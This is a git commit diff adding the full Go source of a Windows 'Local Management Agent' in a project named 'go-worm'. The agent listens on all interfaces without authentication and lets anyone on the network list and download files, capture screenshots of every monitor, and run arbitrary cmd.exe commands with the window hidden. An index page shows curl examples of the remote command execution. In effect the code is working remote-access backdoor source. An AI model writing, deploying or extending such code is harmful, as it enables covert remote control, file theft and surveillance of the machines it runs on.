Initial commit with project setup and basic structure established.

2026-08-18 16:40:50 +03:00
parent 2683425562
commit f0515d7342
12 changed files with 884 additions and 0 deletions
@@ -0,0 +1,96 @@
+package agent
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"net"
+	"net/http"
+	"os"
+	"os/signal"
+	"strings"
+	"time"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/files"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
+	"tea.chunkbyte.com/kato/go-worm/lib/instance"
+)
+
+type Agent struct {
+	addr      string
+	root      string
+	guard     *instance.Guard
+	server    *http.Server
+	startedAt time.Time
+}
+
+func New() (*Agent, error) {
+	a := &Agent{
+		addr:      config.EnvOr("AGENT_ADDR", config.DefaultAddr),
+		startedAt: time.Now(),
+	}
+	if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
+		resolved, err := files.CanonicalExistingPath(root)
+		if err != nil {
+			return nil, fmt.Errorf("invalid AGENT_FILE_ROOT: %w", err)
+		}
+		a.root = resolved
+	}
+	guard, err := instance.Acquire()
+	if err != nil {
+		return nil, err
+	}
+	a.guard = guard
+	return a, nil
+}
+
+func (a *Agent) Close() {
+	if a.guard != nil {
+		a.guard.Close()
+	}
+}
+
+func (a *Agent) Serve() error {
+	mux := http.NewServeMux()
+	mux.HandleFunc("/", a.handleIndex)
+	mux.HandleFunc("/health", a.handleHealth)
+	mux.HandleFunc("/healthz", a.handleHealth)
+	mux.HandleFunc("/openapi.json", a.handleOpenAPI)
+	mux.HandleFunc("/api/v1/status", a.handleStatus)
+	mux.HandleFunc("/api/v1/files", a.handleFiles)
+	mux.HandleFunc("/api/v1/download", a.handleDownload)
+	mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
+	mux.HandleFunc("/api/v1/exec", a.handleExec)
+
+	a.server = &http.Server{
+		Addr:              a.addr,
+		Handler:           helpers.RecoverHandler(mux),
+		ReadHeaderTimeout: 10 * time.Second,
+		ReadTimeout:       30 * time.Second,
+		WriteTimeout:      150 * time.Second,
+		IdleTimeout:       60 * time.Second,
+		MaxHeaderBytes:    16 << 10,
+	}
+
+	listener, err := net.Listen("tcp", a.addr)
+	if err != nil {
+		return fmt.Errorf("listen %s: %w", a.addr, err)
+	}
+
+	fmt.Printf("Local Management Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
+
+	ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
+	defer stop()
+	go func() {
+		<-ctx.Done()
+		shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+		defer cancel()
+		_ = a.server.Shutdown(shutdownCtx)
+	}()
+
+	if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
+		return fmt.Errorf("serve: %w", err)
+	}
+	return nil
+}
@@ -0,0 +1,235 @@
+package agent
+
+import (
+	"context"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"io"
+	"mime"
+	"net/http"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strconv"
+	"strings"
+	"time"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/command"
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/files"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+	"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
+)
+
+func (a *Agent) handleIndex(w http.ResponseWriter, r *http.Request) {
+	if r.URL.Path != "/" || r.Method != http.MethodGet {
+		helpers.WriteError(w, http.StatusNotFound, "endpoint not found")
+		return
+	}
+	w.Header().Set("Content-Type", "text/html; charset=utf-8")
+	_, _ = io.WriteString(w, `<!doctype html><html><head><meta charset="utf-8"><title>Local Management Agent</title><style>body{font:16px system-ui;max-width:900px;margin:3rem auto;color:#1f2937}code{background:#f3f4f6;padding:.15rem .3rem;border-radius:3px}li{margin:.5rem 0}</style></head><body><h1>Local Management Agent</h1><p>Version `+config.Version+`</p><h2>Endpoints</h2><ul><li><code>GET /health</code></li><li><code>GET /api/v1/status</code></li><li><code>GET /api/v1/files?path=C:\&amp;depth=0</code></li><li><code>GET /api/v1/download?path=C:\path\file.txt</code></li><li><code>GET /api/v1/screenshot?format=png</code></li><li><code>POST /api/v1/exec</code></li></ul><h2>Examples</h2><p><code>curl http://HOST:5032/api/v1/status</code></p><p><code>curl -o screen.png http://HOST:5032/api/v1/screenshot?format=png</code></p><p><code>curl -X POST http://HOST:5032/api/v1/exec -H "Content-Type: application/json" -d "{\"command\":\"ipconfig /all\"}"</code></p></body></html>`)
+}
+
+func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	helpers.WriteJSON(w, http.StatusOK, map[string]string{"status": "ok"})
+}
+
+func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	helpers.WriteJSON(w, http.StatusOK, map[string]any{
+		"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
+		"paths": map[string]any{
+			"/api/v1/status":     map[string]any{"get": map[string]string{"summary": "Agent status"}},
+			"/api/v1/files":      map[string]any{"get": map[string]string{"summary": "List files"}},
+			"/api/v1/download":   map[string]any{"get": map[string]string{"summary": "Download file"}},
+			"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
+			"/api/v1/exec":       map[string]any{"post": map[string]string{"summary": "Run a command"}},
+		},
+	})
+}
+
+func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	host, _ := os.Hostname()
+	helpers.WriteJSON(w, http.StatusOK, map[string]any{
+		"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
+		"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
+		"agent_version": config.Version, "listen_address": a.addr,
+	})
+}
+
+func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
+	if err != nil {
+		helpers.WriteError(w, http.StatusBadRequest, err.Error())
+		return
+	}
+	path := r.URL.Query().Get("path")
+	if path == "" {
+		path, _ = os.UserHomeDir()
+	}
+	dir, err := files.AllowedPath(a.root, path, true)
+	if err != nil {
+		files.WritePathError(w, err)
+		return
+	}
+	info, err := os.Stat(dir)
+	if err != nil {
+		files.WritePathError(w, err)
+		return
+	}
+	if !info.IsDir() {
+		helpers.WriteError(w, http.StatusBadRequest, "path is not a directory")
+		return
+	}
+	entries, err := files.ListDirectory(dir, depth)
+	if err != nil {
+		files.WritePathError(w, err)
+		return
+	}
+	helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
+}
+
+func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	path := r.URL.Query().Get("path")
+	if path == "" {
+		helpers.WriteError(w, http.StatusBadRequest, "path is required")
+		return
+	}
+	file, err := files.AllowedPath(a.root, path, true)
+	if err != nil {
+		files.WritePathError(w, err)
+		return
+	}
+	f, err := os.Open(file)
+	if err != nil {
+		files.WritePathError(w, err)
+		return
+	}
+	defer f.Close()
+	info, err := f.Stat()
+	if err != nil {
+		files.WritePathError(w, err)
+		return
+	}
+	if info.IsDir() {
+		helpers.WriteError(w, http.StatusBadRequest, "path is a directory")
+		return
+	}
+	name := filepath.Base(file)
+	contentType := mime.TypeByExtension(filepath.Ext(name))
+	if contentType == "" {
+		var sample [512]byte
+		n, _ := f.Read(sample[:])
+		contentType = http.DetectContentType(sample[:n])
+		_, _ = f.Seek(0, io.SeekStart)
+	}
+	w.Header().Set("Content-Type", contentType)
+	w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`)
+	w.Header().Set("Accept-Ranges", "bytes")
+	http.ServeContent(w, r, name, info.ModTime(), f)
+}
+
+func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodGet {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format")))
+	if format == "" {
+		format = "png"
+	}
+	if format != "png" && format != "jpeg" {
+		helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg")
+		return
+	}
+	quality := 80
+	if raw := r.URL.Query().Get("quality"); raw != "" {
+		var err error
+		quality, err = strconv.Atoi(raw)
+		if err != nil || quality < 1 || quality > config.MaxImageQuality {
+			helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100")
+			return
+		}
+	}
+	images, err := screenshot.Capture(format, quality)
+	if err != nil {
+		helpers.Log.Printf("screenshot: %v", err)
+		helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
+		return
+	}
+	if len(images) == 1 {
+		w.Header().Set("Content-Type", images[0].ContentType)
+		w.Header().Set("Content-Length", strconv.Itoa(len(images[0].Data)))
+		_, _ = w.Write(images[0].Data)
+		return
+	}
+	response := models.ScreenshotResponse{Images: make([]models.ScreenshotImage, 0, len(images))}
+	for i, item := range images {
+		response.Images = append(response.Images, models.ScreenshotImage{
+			Monitor:     i,
+			ContentType: item.ContentType,
+			DataBase64:  base64.StdEncoding.EncodeToString(item.Data),
+		})
+	}
+	helpers.WriteJSON(w, http.StatusOK, response)
+}
+
+func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
+	if r.Method != http.MethodPost {
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
+	defer r.Body.Close()
+	var request models.ExecRequest
+	decoder := json.NewDecoder(r.Body)
+	decoder.DisallowUnknownFields()
+	if err := decoder.Decode(&request); err != nil {
+		helpers.WriteError(w, http.StatusBadRequest, "body must contain a command")
+		return
+	}
+	cmdline := strings.TrimSpace(request.Command)
+	if cmdline == "" {
+		helpers.WriteError(w, http.StatusBadRequest, command.ErrEmptyCommand.Error())
+		return
+	}
+	timeout, err := command.ResolveTimeout(request.TimeoutSec)
+	if err != nil {
+		helpers.WriteError(w, http.StatusBadRequest, err.Error())
+		return
+	}
+	ctx, cancel := context.WithTimeout(r.Context(), timeout)
+	defer cancel()
+	result, err := command.Run(ctx, cmdline)
+	if errors.Is(err, command.ErrTimeout) {
+		helpers.WriteError(w, http.StatusGatewayTimeout, err.Error())
+		return
+	}
+	if err != nil {
+		helpers.Log.Printf("exec: %v", err)
+		helpers.WriteError(w, http.StatusInternalServerError, "could not run command")
+		return
+	}
+	helpers.WriteJSON(w, http.StatusOK, result)
+}
@@ -0,0 +1,62 @@
+package command
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"os/exec"
+	"syscall"
+	"time"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+var (
+	ErrEmptyCommand = errors.New("command must not be empty")
+	ErrBadTimeout   = errors.New("timeout_sec must be zero or positive")
+	ErrTimeout      = errors.New("command timed out")
+)
+
+func ResolveTimeout(seconds int) (time.Duration, error) {
+	if seconds < 0 {
+		return 0, ErrBadTimeout
+	}
+	if seconds == 0 {
+		seconds = config.DefaultExecTO
+	}
+	if seconds > config.MaxExecTO {
+		seconds = config.MaxExecTO
+	}
+	return time.Duration(seconds) * time.Second, nil
+}
+
+func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
+	cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline)
+	cmd.SysProcAttr = &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: windows.CREATE_NO_WINDOW,
+	}
+	var stdout, stderr bytes.Buffer
+	cmd.Stdout = &stdout
+	cmd.Stderr = &stderr
+	err := cmd.Run()
+	if ctx.Err() == context.DeadlineExceeded {
+		return models.ExecResponse{}, ErrTimeout
+	}
+	exitCode := 0
+	if err != nil {
+		var exitErr *exec.ExitError
+		if !errors.As(err, &exitErr) {
+			return models.ExecResponse{}, err
+		}
+		exitCode = exitErr.ExitCode()
+	}
+	return models.ExecResponse{
+		ExitCode: exitCode,
+		Stdout:   stdout.String(),
+		Stderr:   stderr.String(),
+	}, nil
+}
@@ -0,0 +1,24 @@
+package config
+
+import (
+	"os"
+	"strings"
+)
+
+const (
+	Version         = "1.0.0"
+	DefaultAddr     = "0.0.0.0:5032"
+	MutexName       = "LocalManagementAgent_Mutex"
+	RequestBodyMax  = 1 << 20
+	MaxListEntries  = 10000
+	MaxImageQuality = 100
+	DefaultExecTO   = 30
+	MaxExecTO       = 120
+)
+
+func EnvOr(name, fallback string) string {
+	if value := strings.TrimSpace(os.Getenv(name)); value != "" {
+		return value
+	}
+	return fallback
+}
@@ -0,0 +1,131 @@
+package files
+
+import (
+	"errors"
+	"net/http"
+	"os"
+	"path/filepath"
+	"sort"
+	"strconv"
+	"strings"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+var (
+	ErrInvalidPath = errors.New("path must be an absolute accessible Windows path")
+	ErrOutsideRoot = errors.New("path is outside AGENT_FILE_ROOT")
+)
+
+func AllowedPath(root, raw string, requireExisting bool) (string, error) {
+	if strings.TrimSpace(raw) == "" || !filepath.IsAbs(raw) {
+		return "", ErrInvalidPath
+	}
+	clean := filepath.Clean(raw)
+	if requireExisting {
+		resolved, err := CanonicalExistingPath(clean)
+		if err != nil {
+			return "", err
+		}
+		clean = resolved
+	}
+	if root != "" && !isWithin(root, clean) {
+		return "", ErrOutsideRoot
+	}
+	return clean, nil
+}
+
+func CanonicalExistingPath(path string) (string, error) {
+	abs, err := filepath.Abs(filepath.Clean(path))
+	if err != nil {
+		return "", err
+	}
+	if _, err := os.Stat(abs); err != nil {
+		return "", err
+	}
+	resolved, err := filepath.EvalSymlinks(abs)
+	if err == nil {
+		return filepath.Abs(resolved)
+	}
+	return abs, nil
+}
+
+func ParseDepth(raw string) (int, error) {
+	if raw == "" {
+		return 0, nil
+	}
+	depth, err := strconv.Atoi(raw)
+	if err != nil || (depth != 0 && depth != 1) {
+		return 0, errors.New("depth must be 0 or 1")
+	}
+	return depth, nil
+}
+
+func ListDirectory(dir string, depth int) ([]models.FileItem, error) {
+	result := make([]models.FileItem, 0)
+	var walk func(string, string, int) error
+	walk = func(current, relative string, remaining int) error {
+		entries, err := os.ReadDir(current)
+		if err != nil {
+			return err
+		}
+		for _, entry := range entries {
+			if len(result) >= config.MaxListEntries {
+				return errors.New("directory listing exceeds entry limit")
+			}
+			info, err := entry.Info()
+			if err != nil {
+				continue
+			}
+			entryPath := filepath.Join(current, entry.Name())
+			rel := filepath.Join(relative, entry.Name())
+			kind := "file"
+			if info.IsDir() {
+				kind = "dir"
+			}
+			result = append(result, models.FileItem{
+				Name:     entry.Name(),
+				Path:     rel,
+				Type:     kind,
+				Size:     info.Size(),
+				Modified: info.ModTime().UTC(),
+			})
+			if remaining > 0 && info.IsDir() && entry.Type()&os.ModeSymlink == 0 {
+				if err := walk(entryPath, rel, remaining-1); err != nil {
+					return err
+				}
+			}
+		}
+		return nil
+	}
+	if err := walk(dir, "", depth); err != nil {
+		return nil, err
+	}
+	sort.Slice(result, func(i, j int) bool {
+		return strings.ToLower(result[i].Path) < strings.ToLower(result[j].Path)
+	})
+	return result, nil
+}
+
+func WritePathError(w http.ResponseWriter, err error) {
+	switch {
+	case errors.Is(err, ErrInvalidPath):
+		helpers.WriteError(w, http.StatusBadRequest, err.Error())
+	case errors.Is(err, ErrOutsideRoot), errors.Is(err, os.ErrPermission):
+		helpers.WriteError(w, http.StatusForbidden, "path is not accessible")
+	case errors.Is(err, os.ErrNotExist):
+		helpers.WriteError(w, http.StatusNotFound, "path does not exist")
+	default:
+		helpers.WriteError(w, http.StatusBadRequest, "path is not accessible")
+	}
+}
+
+func isWithin(root, candidate string) bool {
+	rel, err := filepath.Rel(root, candidate)
+	if err != nil {
+		return false
+	}
+	return rel != ".." && !strings.HasPrefix(rel, ".."+string(os.PathSeparator)) && !filepath.IsAbs(rel)
+}
@@ -0,0 +1,68 @@
+package helpers
+
+import (
+	"encoding/json"
+	"log"
+	"net"
+	"net/http"
+	"os"
+	"sort"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+var Log = log.New(os.Stdout, "", log.Ldate|log.Ltime|log.Lmicroseconds)
+
+func RecoverHandler(next http.Handler) http.Handler {
+	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		defer func() {
+			if recovered := recover(); recovered != nil {
+				Log.Printf("panic %s %s: %v", r.Method, r.URL.Path, recovered)
+				WriteError(w, http.StatusInternalServerError, "internal server error")
+			}
+		}()
+		next.ServeHTTP(w, r)
+	})
+}
+
+func WriteJSON(w http.ResponseWriter, status int, value any) {
+	w.Header().Set("Content-Type", "application/json; charset=utf-8")
+	w.WriteHeader(status)
+	if err := json.NewEncoder(w).Encode(value); err != nil {
+		Log.Printf("write response: %v", err)
+	}
+}
+
+func WriteError(w http.ResponseWriter, status int, message string) {
+	WriteJSON(w, status, models.APIError{Error: message})
+}
+
+func Username() string {
+	user := os.Getenv("USERNAME")
+	if user == "" {
+		user = os.Getenv("USER")
+	}
+	return user
+}
+
+func LocalIPs() []string {
+	interfaces, err := net.Interfaces()
+	if err != nil {
+		return nil
+	}
+	var ips []string
+	for _, iface := range interfaces {
+		if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
+			continue
+		}
+		addresses, _ := iface.Addrs()
+		for _, address := range addresses {
+			ip, _, err := net.ParseCIDR(address.String())
+			if err == nil && ip != nil {
+				ips = append(ips, ip.String())
+			}
+		}
+	}
+	sort.Strings(ips)
+	return ips
+}
@@ -0,0 +1,37 @@
+package instance
+
+import (
+	"errors"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+type Guard struct {
+	handle windows.Handle
+}
+
+func Acquire() (*Guard, error) {
+	name, err := windows.UTF16PtrFromString(config.MutexName)
+	if err != nil {
+		return nil, err
+	}
+	h, err := windows.CreateMutex(nil, false, name)
+	if h == 0 {
+		return nil, err
+	}
+	if errors.Is(err, windows.ERROR_ALREADY_EXISTS) {
+		windows.CloseHandle(h)
+		return nil, errors.New("agent already running")
+	}
+	return &Guard{handle: h}, nil
+}
+
+func (g *Guard) Close() {
+	if g == nil || g.handle == 0 {
+		return
+	}
+	windows.CloseHandle(g.handle)
+	g.handle = 0
+}
@@ -0,0 +1,41 @@
+package models
+
+import "time"
+
+type APIError struct {
+	Error string `json:"error"`
+}
+
+type FileItem struct {
+	Name     string    `json:"name"`
+	Path     string    `json:"path"`
+	Type     string    `json:"type"`
+	Size     int64     `json:"size"`
+	Modified time.Time `json:"modified_time"`
+}
+
+type ScreenshotImage struct {
+	Monitor     int    `json:"monitor"`
+	ContentType string `json:"content_type"`
+	DataBase64  string `json:"data_base64"`
+}
+
+type ScreenshotResponse struct {
+	Images []ScreenshotImage `json:"images"`
+}
+
+type ExecRequest struct {
+	Command    string `json:"command"`
+	TimeoutSec int    `json:"timeout_sec"`
+}
+
+type ExecResponse struct {
+	ExitCode int    `json:"exit_code"`
+	Stdout   string `json:"stdout"`
+	Stderr   string `json:"stderr"`
+}
+
+type CapturedImage struct {
+	ContentType string
+	Data        []byte
+}
@@ -0,0 +1,157 @@
+package screenshot
+
+import (
+	"bytes"
+	"errors"
+	"image"
+	"image/jpeg"
+	"image/png"
+	"runtime"
+	"syscall"
+	"unsafe"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/models"
+)
+
+var (
+	user32                  = syscall.NewLazyDLL("user32.dll")
+	gdi32                   = syscall.NewLazyDLL("gdi32.dll")
+	procOpenInputDesktop    = user32.NewProc("OpenInputDesktop")
+	procSetThreadDesktop    = user32.NewProc("SetThreadDesktop")
+	procCloseDesktop        = user32.NewProc("CloseDesktop")
+	procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
+	procGetDC               = user32.NewProc("GetDC")
+	procReleaseDC           = user32.NewProc("ReleaseDC")
+	procCreateCompatibleDC  = gdi32.NewProc("CreateCompatibleDC")
+	procDeleteDC            = gdi32.NewProc("DeleteDC")
+	procCreateDIBSection    = gdi32.NewProc("CreateDIBSection")
+	procDeleteObject        = gdi32.NewProc("DeleteObject")
+	procSelectObject        = gdi32.NewProc("SelectObject")
+	procBitBlt              = gdi32.NewProc("BitBlt")
+)
+
+type rect struct {
+	Left, Top, Right, Bottom int32
+}
+
+type bitmapInfoHeader struct {
+	Size          uint32
+	Width         int32
+	Height        int32
+	Planes        uint16
+	BitCount      uint16
+	Compression   uint32
+	SizeImage     uint32
+	XPelsPerMeter int32
+	YPelsPerMeter int32
+	ClrUsed       uint32
+	ClrImportant  uint32
+}
+
+type bitmapInfo struct {
+	Header bitmapInfoHeader
+	Colors [1]uint32
+}
+
+func Capture(format string, quality int) ([]models.CapturedImage, error) {
+	runtime.LockOSThread()
+	defer runtime.UnlockOSThread()
+	if err := attachInputDesktop(); err != nil {
+		return nil, err
+	}
+	monitors, err := enumerateMonitors()
+	if err != nil {
+		return nil, err
+	}
+	if len(monitors) == 0 {
+		return nil, errors.New("no displays found")
+	}
+	result := make([]models.CapturedImage, 0, len(monitors))
+	for _, monitor := range monitors {
+		img, err := captureRect(monitor)
+		if err != nil {
+			return nil, err
+		}
+		data, contentType, err := encodeImage(img, format, quality)
+		if err != nil {
+			return nil, err
+		}
+		result = append(result, models.CapturedImage{ContentType: contentType, Data: data})
+	}
+	return result, nil
+}
+
+func attachInputDesktop() error {
+	h, _, err := procOpenInputDesktop.Call(0, 0, 0x0001|0x0040)
+	if h == 0 {
+		return err
+	}
+	defer procCloseDesktop.Call(h)
+	ok, _, err := procSetThreadDesktop.Call(h)
+	if ok == 0 {
+		return err
+	}
+	return nil
+}
+
+func enumerateMonitors() ([]rect, error) {
+	var monitors []rect
+	callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
+		if monitorRect != 0 {
+			monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect)))
+		}
+		return 1
+	})
+	ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0)
+	if ok == 0 {
+		return nil, err
+	}
+	return monitors, nil
+}
+
+func captureRect(r rect) (*image.RGBA, error) {
+	width, height := int(r.Right-r.Left), int(r.Bottom-r.Top)
+	if width <= 0 || height <= 0 {
+		return nil, errors.New("invalid monitor dimensions")
+	}
+	screenDC, _, err := procGetDC.Call(0)
+	if screenDC == 0 {
+		return nil, err
+	}
+	defer procReleaseDC.Call(0, screenDC)
+	memDC, _, err := procCreateCompatibleDC.Call(screenDC)
+	if memDC == 0 {
+		return nil, err
+	}
+	defer procDeleteDC.Call(memDC)
+	bmi := bitmapInfo{Header: bitmapInfoHeader{Size: uint32(unsafe.Sizeof(bitmapInfoHeader{})), Width: int32(width), Height: -int32(height), Planes: 1, BitCount: 32, Compression: 0}}
+	var bits unsafe.Pointer
+	bitmap, _, err := procCreateDIBSection.Call(screenDC, uintptr(unsafe.Pointer(&bmi)), 0, uintptr(unsafe.Pointer(&bits)), 0, 0)
+	if bitmap == 0 || bits == nil {
+		return nil, err
+	}
+	defer procDeleteObject.Call(bitmap)
+	old, _, _ := procSelectObject.Call(memDC, bitmap)
+	defer procSelectObject.Call(memDC, old)
+	const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
+	ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
+	if ok == 0 {
+		return nil, err
+	}
+	raw := unsafe.Slice((*byte)(bits), width*height*4)
+	pix := make([]byte, len(raw))
+	for i := 0; i < len(raw); i += 4 {
+		pix[i], pix[i+1], pix[i+2], pix[i+3] = raw[i+2], raw[i+1], raw[i], raw[i+3]
+	}
+	return &image.RGBA{Pix: pix, Stride: width * 4, Rect: image.Rect(0, 0, width, height)}, nil
+}
+
+func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) {
+	var buffer bytes.Buffer
+	if format == "jpeg" {
+		err := jpeg.Encode(&buffer, img, &jpeg.Options{Quality: quality})
+		return buffer.Bytes(), "image/jpeg", err
+	}
+	err := png.Encode(&buffer, img)
+	return buffer.Bytes(), "image/png", err
+}